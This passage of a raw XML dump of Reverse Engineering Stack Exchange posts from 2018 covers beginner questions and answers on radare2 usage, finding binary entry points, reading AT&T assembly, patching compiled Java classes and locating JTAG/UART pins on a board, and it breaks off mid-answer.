 [Automatic] Restarts after Microsoft Updates&lt;/em&gt;&lt;/strong&gt; is  handled by the &lt;strong&gt;MusUpdateHandlers.dll&lt;/strong&gt; as can be seen below: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/74pQF.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/74pQF.png&quot; alt=&quot;CFG of Forced Reboots after Updates&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and also here :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/T9gad.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/T9gad.png&quot; alt=&quot;Code View for Reboots after UPDATES&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have added the last 2 screenshots as the OP had wanted to know what API are invoked when the system restarts after an UPDATE...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that this now concludes the answer to what @c00000fd wanted to know...&lt;/p&gt;&#xA;" OwnerUserId="18402" LastEditorUserId="18402" LastEditDate="2018-02-06T14:34:03.223" LastActivityDate="2018-02-06T14:34:03.223" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17403" PostTypeId="1" CreationDate="2018-02-06T20:53:47.600" Score="1" ViewCount="9633" Body="&lt;p&gt;I have java code that is compiled to a .class file.&#xA;There is a function that gets few parameters and do some action (e.g. get int x and int y and do x+y)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to add to this .class file code that checks if x=1 and call to another function(e.g. call to x-y and don't do x+y)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can edit a compiled .class file and add my own code?&lt;/p&gt;&#xA;" OwnerUserId="23198" LastEditorUserId="60" LastEditDate="2018-02-09T16:17:52.757" LastActivityDate="2020-11-24T02:44:58.133" Title="How to add code to compiled java class" Tags="|disassembly|java|patching|function-hooking|compilers|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17406" PostTypeId="1" AcceptedAnswerId="17407" CreationDate="2018-02-07T08:20:34.257" Score="0" ViewCount="251" Body="&lt;p&gt;I have the following AT&amp;amp;T assembly code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  movl 12(%ebp),%eax&#xA;  cmpl %eax,8(%ebp)&#xA;  jle L7&#xA;  movl 8(%ebp),%eax&#xA;L7:&#xA;  leave&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm supposed to &quot;transpose&quot;(??) it to C code. I actually just have to fill in the blanks in this skeleton C code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int g(int x, int y) {&#xA;    if (x ______ y)&#xA;        return ______;&#xA;    else&#xA;        return ______;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From what I unerstand, the assembly is going to return whatever is in &lt;code&gt;%eax&lt;/code&gt; when done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this is how I understand what's happening:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;cmpl %eax,8(%ebp)&lt;/code&gt; line is comparing x (&lt;code&gt;8(%ebp)&lt;/code&gt;) with y (&lt;code&gt;%eax&lt;/code&gt;). If x is &lt;code&gt;&amp;lt;=&lt;/code&gt; to y, we jump to &lt;code&gt;L7:&lt;/code&gt; and return whatever is in &lt;code&gt;%eax&lt;/code&gt; at that time, which is y. Otherwise, we proceed to the next line in the assembly code and &lt;code&gt;movl&lt;/code&gt; x (&lt;code&gt;8(%ebp)&lt;/code&gt;) to &lt;code&gt;%eax&lt;/code&gt;, and return whatever is in &lt;code&gt;%eax&lt;/code&gt;, which would be x at that point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end, this is what I think is happening:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int g(int x, int y) {&#xA;    if (x &amp;lt;= y)&#xA;        return y;&#xA;    else&#xA;        return x;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I correct in saying that the assembly returns whatever is in &lt;code&gt;%eax&lt;/code&gt; when the assembly code is finished running?&lt;/p&gt;&#xA;" OwnerUserId="23207" LastEditorUserId="23207" LastEditDate="2018-02-07T08:40:31.097" LastActivityDate="2018-02-07T09:13:04.220" Title="AT&amp;T - Does assembly code return whatever is in %eax by default?" Tags="|assembly|decompilation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17407" PostTypeId="2" ParentId="17406" CreationDate="2018-02-07T09:13:04.220" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Am I correct in saying that the assembly returns whatever is in %eax when the assembly code is finished running?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Assembly doesn't &quot;return&quot; anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In assembly, it is left to the programmer to decide how to pass values between the caller and callee routines.  In order to avoid things getting messy, &lt;a href=&quot;https://en.wikipedia.org/wiki/Calling_convention&quot; rel=&quot;nofollow noreferrer&quot;&gt;calling conventions&lt;/a&gt; have been devised.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your question therefore becomes &quot;what calling convention was used to compile the unknown C code to the known assembly?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When compiling for x86 architectures, C compilers usually use the &lt;a href=&quot;https://en.wikipedia.org/wiki/X86_calling_conventions#cdecl&quot; rel=&quot;nofollow noreferrer&quot;&gt;cdecl convention&lt;/a&gt;. &#xA; Working on the assumption that was the convention used here, then integer results would indeed always be returned in register EAX.&lt;/p&gt;&#xA;" OwnerUserId="11490" LastActivityDate="2018-02-07T09:13:04.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17408" PostTypeId="2" ParentId="17146" CreationDate="2018-02-07T19:57:40.407" Score="1" Body="&lt;p&gt;Does the book actually use this as an example? This is not going to work in general. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The theory behind the snippet is that the code will be compiled in such a way where all of the functions are situated in the assembly language output in the same order in which they were situated in the C code. That is a broken assumption in general. The compiler is under no obligation to layout the functions in the binary in the same order in which they were laid out in the source code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case I would expect that the functions &lt;code&gt;BEGIN&lt;/code&gt; and &lt;code&gt;END&lt;/code&gt; will be merged together into the same function via a compiler optimization known as clone detection, that it would compile to a single RETN instruction, and that the hash value would be the &lt;code&gt;UINT&lt;/code&gt; corresponding to a RETN followed by padding bytes prior to the next function (if there is one).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could figure out exactly what's going on by looking at the disassembly listing for the compiled code (or passing a flag to the compiler that caused it to emit the assembly language version).&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="182" LastEditDate="2018-02-07T20:19:51.480" LastActivityDate="2018-02-07T20:19:51.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17410" PostTypeId="1" CreationDate="2018-02-08T03:11:20.657" Score="2" ViewCount="1635" Body="&lt;p&gt;I am running on 64-bit Windows 7 and am using radare2 to attempt both static and dynamic analysis of a binary executable. The issue is that I cannot seem to find the entry point of where the program proper begins. I am still very new to radare2 and reverse engineering in general, so all of the techniques I currently know of have failed to determine this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;How can I find the entry point of this binary? (and, in general, &lt;em&gt;any&lt;/em&gt; binary)&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Why is there no apparent&lt;/strong&gt; &lt;code&gt;main&lt;/code&gt; &lt;strong&gt;symbol?&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Why do the checks in&lt;/strong&gt; &lt;code&gt;afll&lt;/code&gt; &lt;strong&gt;fail? (see below)&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have documented my attempts (in chronological order), below:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I use radare2 to open the binary in debug mode (via &lt;code&gt;-d&lt;/code&gt;), like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ radare2 -d bin.exe&#xA;Spawned new process with pid 6204, tid = 6408&#xA;r_sys_pid_to_path: Cannot get module filename.= attach 6204 6408&#xA;bin.baddr 0x00400000&#xA;Using 0x400000&#xA;Spawned new process with pid 5764, tid = 1936&#xA;r_sys_pid_to_path: Cannot get module filename.asm.bits 32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Radare2 enters at address &lt;code&gt;0x772201c4&lt;/code&gt; and I then run &lt;code&gt;aaa&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x772201c4]&amp;gt; aaa&#xA;←[32m[x]←[0m Analyze all flags starting with sym. and entry0 (aa)&#xA;TODO: esil-vm not initialized&#xA;←[32m[x]←[0m Analyze len bytes of instructions for references (aar)&#xA;←[32m[x]←[0m Analyze function calls (aac)&#xA;←[32m[x]←[0m Use -AA or aaaa to perform additional experimental analysis.&#xA;←[32m[x]←[0m Constructing a function name for fcn.* and sym.func.* functions (aan)&#xA;= attach 6204 6408&#xA;6204&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All of the checks appear to fail, so I attempt to display the address of the entry point, via &lt;code&gt;iM&lt;/code&gt;, to no avail:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x772201c4]&amp;gt; iM&#xA;&#xA;[0x772201c4]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is also no listing for &lt;code&gt;sym.main&lt;/code&gt; with &lt;code&gt;afll&lt;/code&gt; either:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x772201c4]&amp;gt; afll&#xA;address     size  nbbs edges    cc cost   min bound range max bound   calls locals args xref frame name&#xA;=========== ==== ===== ===== ===== ==== =========== ===== =========== ===== ====== ==== ==== ===== ====&#xA;0x772201c4   41     1     0     1    4 0x772201c4    13 0x772201d1     2    2      0    0    24 fcn.eip&#xA;0x7723df5c   69     1     0     1   29 0x7723df5c    69 0x7723dfa1     0    5      0    1    28 fcn.7723df5c&#xA;0x7723dfa1   20     1     0     1   14 0x7723dfa1    20 0x7723dfb5     0    1      0    1     0 fcn.7723dfa1&#xA;0x7724989f   69     4     5     3   23 0x7724989f    18 0x772a034a     0    0      1    1     4 fcn.7724989f&#xA;0x772498ba   28     1     0     1   22 0x772498ba    28 0x772498d6     2    1      2    1    24 loc.772498ba&#xA;0x772498db   54     2     1     0   24 0x772498db    54 0x77249911     4    1      2    1    16 fcn.772498db&#xA;0x77266fa6   66     4     5     3   48 0x77266fa6    66 0x77266fe8     5    1      1    1    48 fcn.77266fa6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Very confused, I try &lt;code&gt;pdf&lt;/code&gt;, and get only three lines of assembly mnemonics:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x772201c4]&amp;gt; pdf&#xA;            ;-- eip:&#xA;/ (fcn) fcn.eip 41&#xA;|   fcn.eip ();&#xA;|           ; var int local_4h @ esp+0x4&#xA;|           ; var int local_8h @ esp+0x8&#xA;|           0x772201c4      89442404       mov dword [local_4h], eax&#xA;|           0x772201c8      895c2408       mov dword [local_8h], ebx&#xA;\       ,=&amp;lt; 0x772201cc      e9e9960200     jmp loc.772498ba&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 1&lt;/strong&gt;: Following &lt;a href=&quot;https://reverseengineering.stackexchange.com/users/18698/megabeets&quot;&gt;Megabeet&lt;/a&gt;'s advice, this is my output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ radare2 bin.exe&#xA;[0x00404161]&amp;gt; ie&#xA;[Entrypoints]&#xA;vaddr=0x00404161 paddr=0x00004161 baddr=0x00400000 laddr=0x00000000 haddr=0x00000118 type=program&#xA;&#xA;1 entrypoints&#xA;&#xA;[0x00404161]&amp;gt; ood&#xA;Spawned new process with pid 4776, tid = 4528&#xA;r_sys_pid_to_path: Cannot get module filename.File dbg://bin.exe  reopened in read-write mode&#xA;= attach 4776 4528&#xA;Spawned new process with pid 5720, tid = 4780&#xA;r_sys_pid_to_path: Cannot get module filename.Unable to find filedescriptor 3&#xA;Unable to find filedescriptor 3&#xA;4776&#xA;[0x772201c4]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23218" LastEditorUserId="23218" LastEditDate="2018-02-08T10:08:23.343" LastActivityDate="2018-02-08T10:08:23.343" Title="No apparent entry point for stripped, PIE binary using radare2" Tags="|binary-analysis|static-analysis|radare2|dynamic-analysis|entry-point|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17411" PostTypeId="1" CreationDate="2018-02-08T04:14:48.910" Score="1" ViewCount="1543" Body="&lt;p&gt;I need help identifying the UART or JTAG connections on this board.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to dump the firmware using a pirate bus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5uXZ9.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5uXZ9.jpg&quot; alt=&quot;Front-side&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LincS.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LincS.jpg&quot; alt=&quot;Back-side&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23219" LastEditorUserId="53" LastEditDate="2018-03-16T18:17:56.350" LastActivityDate="2018-03-16T18:17:56.350" Title="Finding JTAG/UART Connections" Tags="|firmware|hardware|serial-communication|jtag|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17412" PostTypeId="1" CreationDate="2018-02-08T06:07:11.663" Score="0" ViewCount="3326" Body="&lt;p&gt;I'm an absolute newbie to reverse engineering. I have a 32bit lsb arm binary which I would like to reverse engineer using radare2. How should I begin ?&lt;/p&gt;&#xA;" OwnerUserId="23222" LastActivityDate="2020-06-24T02:51:21.743" Title="How can i start the RE process in radare2?(make changes to the registers)" Tags="|arm|radare2|binary|" AnswerCount="2" CommentCount="0" ClosedDate="2018-02-12T09:07:48.617" ContentLicense="CC BY-SA 3.0" />
  <row Id="17413" PostTypeId="2" ParentId="17412" CreationDate="2018-02-08T06:44:57.670" Score="4" Body="&lt;p&gt;It's not clear exactly what are you asking for, so I'll start from the basic.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Reverse Engineering 101&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you don't have previous experience with assembly or reverse engineering I'd suggest you to start from there since you need to know the techniques before you should get to know the tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can start learning from any source you find suitable for you. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1754/windows-wiki-books-and-tutorials&quot;&gt;Our Community list of Books and Tutorials&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://beginners.re/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reverse Engineering for Beginners&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;radare2 101&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The recommended source to start learning about radare is the &lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/&quot; rel=&quot;nofollow noreferrer&quot;&gt;radare2 book&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Introduction&lt;/strong&gt;&lt;br&gt;&#xA;  This book aims to cover most usage aspects of radare2. A framework for reverse engineering and analyzing binaries&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can also check my &lt;a href=&quot;https://www.megabeets.net/a-journey-into-radare-2-part-1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Series of tutorials&lt;/a&gt; about radare2 which go through all the information you need to to to start reversing with radare2. You can check as well the &lt;a href=&quot;https://radare2.securisec.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;radre2 wiki&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I highly encourage you to begin from these sources. You'll find them helpful, I'm sure!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now, into a more specific answer. How to use it for reverse engineering? Here are the basic steps:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Installation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Radare2’s development is pretty quick – the project evolves every day, therefore it’s recommended to use the current git version over the stable one. Sometimes the stable version is less stable than the current git version!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ git clone https://github.com/radare/radare2.git&#xA;$ cd radare2&#xA;$ ./sys/install.sh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Static Session&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To open a basic static session (i.e without debugging) you should simply pass your program name to radare2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 ./program_name&#xA; — Thank you for using radare2. Have a nice night!&#xA;[0x08048370]&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Debugging session&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To debug using radare2 pass &lt;code&gt;-d&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 -d /program_name&#xA;Process with PID 6972 started...&#xA;= attach 6972 6972&#xA;bin.baddr 0x00400000&#xA;Using 0x400000&#xA;asm.bits 64&#xA; -- Execute a command on the visual prompt with cmd.vprompt&#xA;[0x7fc6b4200c30]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Making changes to the registers&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Since you specifically mentioned this question, you can modify the registers using the &lt;code&gt;dr&lt;/code&gt; command and subcommands. Just execute &lt;code&gt;dr?&lt;/code&gt; to get help about the command and its subcommands. If you want, for example, to change &lt;code&gt;RAX&lt;/code&gt;, simply execute:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00400697]&amp;gt; dr rax&#xA;0x00400697&#xA;[0x00400697]&amp;gt; dr rax=0x41414141&#xA;0x00400697 -&amp;gt;0x41414141&#xA;[0x00400697]&amp;gt; dr rax&#xA;0x41414141&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-02-08T06:44:57.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17414" PostTypeId="2" ParentId="17412" CreationDate="2018-02-08T06:45:55.790" Score="1" Body="&lt;p&gt;A workflow I typically use:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; radare2 -d /path/to/my/bin&#xA;[some addr]&amp;gt; aaa&#xA;[some addr]&amp;gt; afll&#xA;[some addr]&amp;gt; db sym.main&#xA;[some addr]&amp;gt; dc&#xA;[main addr]&amp;gt; v!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;From here, you'll be dropped into visual mode and you can step through the binary via &lt;code&gt;s&lt;/code&gt; and step over lines via &lt;code&gt;S&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;What this sequence of commands does is:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Runs various analysis tasks (which will be displayed as they're completed)&lt;/li&gt;&#xA;&lt;li&gt;Lists functions in the binary (in verbose mode)&lt;/li&gt;&#xA;&lt;li&gt;Sets a breakpoint at the &lt;code&gt;main&lt;/code&gt; function (assuming it exists)&lt;/li&gt;&#xA;&lt;li&gt;Continues until this breakpoint is reached (i.e. the start of &lt;code&gt;main&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Enters visual mode&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Of course, this is just a particular workflow I happen to use. There are other commands that are useful for other things, for example:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;s sym.main&lt;/code&gt; - seeks to the address of the &lt;code&gt;main&lt;/code&gt; function&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;s 0xdeadbeef&lt;/code&gt; - we can pass any arbitrary address to seek&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;pdf&lt;/code&gt; - displays the disassembly of the function you're currently in&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;iM&lt;/code&gt; - displays the address of the program's entry point&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;iZ&lt;/code&gt; - displays ASCII strings found within the binary&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;aaaa&lt;/code&gt; - this runs an even more detailed analysis than &lt;code&gt;aaa&lt;/code&gt; above (may take some time)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;VV&lt;/code&gt; - displays the control flow graph (CFG) of the current function (invaluble tool)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;dr rax&lt;/code&gt; - displays the contents of the &lt;code&gt;rax&lt;/code&gt; register (obviously any register can be substituted here and you can even change the value via &lt;code&gt;dr rax = 0x12&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;x @ 0xdeadbeef&lt;/code&gt; - e&lt;strong&gt;x&lt;/strong&gt;amines memory at address &lt;code&gt;0xdeadbeef&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;? 0xdeadbeef&lt;/code&gt; - converts the number provided (&lt;code&gt;0xdeadbeef&lt;/code&gt;) to various bases and formats&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;This is not a complete tutorial, but I certainly hope it helps you. Some resources I found extremely useful:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=LAkYW5ixvhg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Introduction to Reverse Engineering with Radare2&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://samsymons.com/blog/reverse-engineering-with-radare2-part-1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reverse Engineering with Radare2, Part 1&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/ifding/radare2-tutorial&quot; rel=&quot;nofollow noreferrer&quot;&gt;ifding/radare2-tutorial&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Full disclaimer: this following link is one of my own&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://jmcph4.github.io/2018/02/07/crackerjack-introduction-and-puzzle-a-solution.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Crackerjack - Introduction and Puzzle A Solution&lt;/a&gt; (walkthrough using radare2 of a collection of crackmes I am making)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="23218" LastEditorUserId="23218" LastEditDate="2020-06-24T02:51:21.743" LastActivityDate="2020-06-24T02:51:21.743" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17415" PostTypeId="1" AcceptedAnswerId="17417" CreationDate="2018-02-08T06:55:43.123" Score="1" ViewCount="1653" Body="&lt;p&gt;I have a  arm 32bit lsb executable which prints &quot;hello world&quot; to the screen. How do I change the string to &quot;Good bye&quot; using radare2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe this will teach me the basics of RE and radare2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you !&lt;/p&gt;&#xA;" OwnerUserId="23222" LastActivityDate="2018-02-08T08:43:42.873" Title="How to change a string in a arm 32bit lsb executable binary using radare2?" Tags="|arm|radare2|binary|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17416" PostTypeId="2" ParentId="17410" CreationDate="2018-02-08T06:57:56.983" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How can I find the entry point of this binary?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There's a special radare2 command for this, &lt;code&gt;ie&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 /program_name&#xA; -- Change the registers of the child process in this way: 'dr eax=0x333'&#xA;[0x00400530]&amp;gt; ie&#xA;[Entrypoints]&#xA;vaddr=0x00400530 paddr=0x00000530 baddr=0x00400000 laddr=0x00000000 haddr=0x00000018 type=program&#xA;&#xA;1 entrypoints&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The command &lt;code&gt;iM&lt;/code&gt; will show you the &lt;code&gt;Main()&lt;/code&gt; function if it was detected by radare2. Notice that &lt;code&gt;Main() =! Entrypoint&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why is there no apparent main symbol?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There might be several reasons why radare2 failed to detect &lt;code&gt;main&lt;/code&gt;. With strip binaries it is harder for the RE framework to detect it since it lacks the symbols. You can start from the entrypoint and go with the flow of the program until' you reach &lt;code&gt;main&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why do the checks in afll fail?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Well, since radare2 failed to detect the &lt;code&gt;main&lt;/code&gt; function, it wasn't able to rename the function to &lt;code&gt;main&lt;/code&gt;. Probably, the &lt;code&gt;main&lt;/code&gt; function was detected by radare2 as a regular function and it should be in the table you attached.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;On a personal note, make sure to use the latest version of radare2 from git. The project is actively developed and improvements are added every day. Including better detections for symbol like &lt;code&gt;main()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-02-08T06:57:56.983" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="17417" PostTypeId="2" ParentId="17415" CreationDate="2018-02-08T07:46:34.993" Score="4" Body="&lt;p&gt;Let's start from writing a simple Hello, World program and compile it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;beet:/tmp$ cat helloworld.c&#xA;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;int main()&#xA;{&#xA;   printf(&quot;Hello, World!\n&quot;);&#xA;   return 0;&#xA;}&#xA;&#xA;beet:/tmp$ gcc helloworld.c -o helloworld&#xA;beet:/tmp$ ./helloworld&#xA;Hello, World!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since we are going to modify the binary, it is recommended to work on a copy of the original file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;beet:/tmp$ cp helloworld modified_helloworld&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now open the modified binary with radare2 in writing mode (&lt;code&gt;-w&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;beet:/tmp$ r2 -w modified_helloworld&#xA; -- Change the UID of the debugged process with child.uid (requires root)&#xA;[0x00400430]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now we need to locate the string &quot;Hello, World!&quot; in the program so we'll know the address we should modify. To do this we'll use the &lt;code&gt;iz&lt;/code&gt; command which will print strings from the data sections:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00400430]&amp;gt; iz&#xA;vaddr=0x004005c4 paddr=0x000005c4 ordinal=000 sz=14 len=13 section=.rodata type=ascii string=Hello, World!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We can see that &quot;Hello, World!&quot; is located at &lt;code&gt;0x004005c4&lt;/code&gt; and its length is &quot;13&quot;. That means that we need to replace this string with another string of length &quot;13&quot;. We'll use &quot;Good, Bye!!!!&quot; which is 13 character length as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We'll use the &lt;code&gt;w&lt;/code&gt; command to modify the string in this address:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00400430]&amp;gt; w Good, Bye!!!! @ 